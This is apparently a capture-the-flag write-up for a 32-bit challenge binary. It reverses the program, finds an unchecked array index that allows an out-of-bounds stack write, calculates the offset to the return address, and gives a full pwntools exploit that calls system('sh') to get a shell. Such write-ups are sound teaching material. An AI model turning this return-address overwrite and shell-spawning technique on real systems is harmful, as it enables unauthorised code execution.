Playing Hacks and Stuffs!
File Checks
So we are working with a x86 executable which is dynamically linked and not stripped
And the protections enabled are: Canary & NX
Running the binary to get an overview of what it does shows this
Basically this binary provides us with a calculator like structure where we can perform about 4 operations on
Now that we know that I decided to decompile the binary inorder to reverse it and find the vulnerability
Reversing
I will look through what each function does and explain 🙂
char numArray [100];
puts("How many numbers you have:");
__isoc99_scanf("%d",&idx);
puts("Give me your numbers");
for (i = 0; (i < idx && ((int)i < 100)); i = i + 1) {
__isoc99_scanf("%d",&values);
numArray[i] = (char)values;
}
Here comes the operational part of this program. In a while loop it can allow us perform 4 operations
numArray
and prints it’s index and valueif (choice != 1) goto end;
puts("id\t\tnumber");
for (k = 0; k < cnt; k = k + 1) {
printf("%d\t\t%d\n",k,(int)numArray[k]);
}
if (choice != 2) break;
puts("Give me your number");
__isoc99_scanf("%d",&values);
if (cnt < 100) {
numArray[cnt] = (char)values;
cnt = cnt + 1;
}
if (choice != 3) break;
puts("which number to change:");
__isoc99_scanf("%d",&idx);
puts("new number:");
__isoc99_scanf("%d",&values);
numArray[idx] = (char)values;
}
if (choice != 4) break;
sum = 0;
for (j = 0; j < cnt; j = j + 1) {
sum = sum + numArray[j];
}
printf("average is %.2lf\n",(double)sum / (double)(ulonglong)cnt);
}
And finally if none of the options are choosen the binary goes to the end switch case and checks if the canary is still intact and if it is it returns 0
end:
if (local_14 == *(int *)(in_GS_OFFSET + 0x14)) {
return 0;
}
Exploitation
Now you may wonder where the bug is?
Well the bug resides in option 3
Is the reason because it would allow us specify the index position of the array we want to store our integer to? Nope!
The reason is because it doesn’t check if the index position we are trying to write to is within the range of the array
Because the array can only hold up at most 200 bytes that means the operation should have made sure our index value is within range(0, 199)
Now because of this bug we can write out of bound of the array making this bug OOB Write (Out-Of-Bound Write)
But what do we do with this bug? Is there anything we would want to overwrite?
Looking through the available functions I came across this
Ok cool there’s a function which would spawn a shell
That’s satisfying because we can possibly call that function! Wait but how?
Because the array is stored on the stack we can use the OOB Write to overwrite the EIP before the program returns without worrying about Canary
How do we achieve that?
First we need to know the address of the array and the stack return address
For the first one looking at the assembly code in Ghidra when the number get stored in the array shows this
That instruction would move the value of ebp-0x70
to the edx
register, and the edx register is pointing to the array
So I set a breakpoint at that point
After it does lea edx, [ebp-0x70] operation the current value in edx is the array address
array = edx = 0xffffcdc8
Now we need the stack return address which we can get by setting a breakpoint at the point the binary wants to ret
The value stored in esp is the stack return address
ret_addr = esp = 0xffffce4c
Now to get the offset needed to overwrite the instruction pointer just do this:
ret_addr - array = 0xffffce4c - 0xffffcdc8
The resulting answer is 132
Ok let’s confirm it by overwriting the eip->0x41414141
Note that when changing number with option 3 the expected integer value is just a DWORD -> sizeof(int)
that means if we want to overwrite the instruction pointer we would send the address one DWORD
at a time in little endian format
Back to our test overwrite
Nice that worked, here’s the code I used to do that because doing it manually was annoying
Now that we achieved the eip control let’s make it call the hackhere
function
I grabbed the address from gdb
and split it
0x0804859b hackhere
Now on running the exploit worked locally
I tried running it remotely and got this
So apparently it doesn’t have /bin/bash
remotely that’s why it stopped
I couldn’t find any way to write /bin/sh
to memory then call system(memory)
Later I figured instead of it doing system('/bin/sh')
why not it do system('sh')
basically not using full path?
Because the address of /bin/bash
is stored on the binary if we just do like address+0x7
it would give sh
But now we need to form the write payload to call system('sh')
we can easily achieve that because we can control the eip
And on x86 arch argument are passed to function via the stack
Here’s the final exploit code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import tqdm
from warnings import filterwarnings
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'stack2')
filterwarnings("ignore")
context.log_level = 'info'
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
break *main+802
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
def init():
global io
io = start()
def write(idx, addr):
io.sendline(b'3')
io.sendlineafter(b'change:', str(idx))
io.sendlineafter(b'number:', str(addr))
def oob():
io.recvuntil('have:')
io.sendline('1')
io.recvuntil('numbers')
io.sendline('1')
system = [0x08, 0x04, 0x84, 0x56][::-1]
sh = [0x08, 0x04, 0x89,0x87][::-1]
idx = 0x84
info("Sending payload")
sleep(1)
for addr in system:
write(idx, addr)
idx += 0x1
info("Chain one completed. EIP overwritten to: %#x", exe.plt['system'])
sleep(2)
for _ in range(4):
write(idx, 0x0)
idx += 0x1
info("Chain two completed. EIP overwritten to: %#x", 0x0)
sleep(2)
for addr in sh:
write(idx, addr)
idx += 0x1
info("Chain three completed. EIP overwritten to: %#x", 0x8048987)
info("Final Chain: eip -> system@plt -> 0x0 -> sh")
info("Spawning Shell ^^")
sleep(2)
io.sendline('5')
io.interactive()
def main():
init()
oob()
if __name__ == '__main__':
main()
Running it works remotely
You can check it out as it runs locally: Overall I’d say it’s an easy challenge but during the time I was solving this I spent some minutes finding way to write a string in memory but after I couldn’t achieve that I figured that alternate way
So that time spent did did piss me off 🥲
Anyways thanks for reading!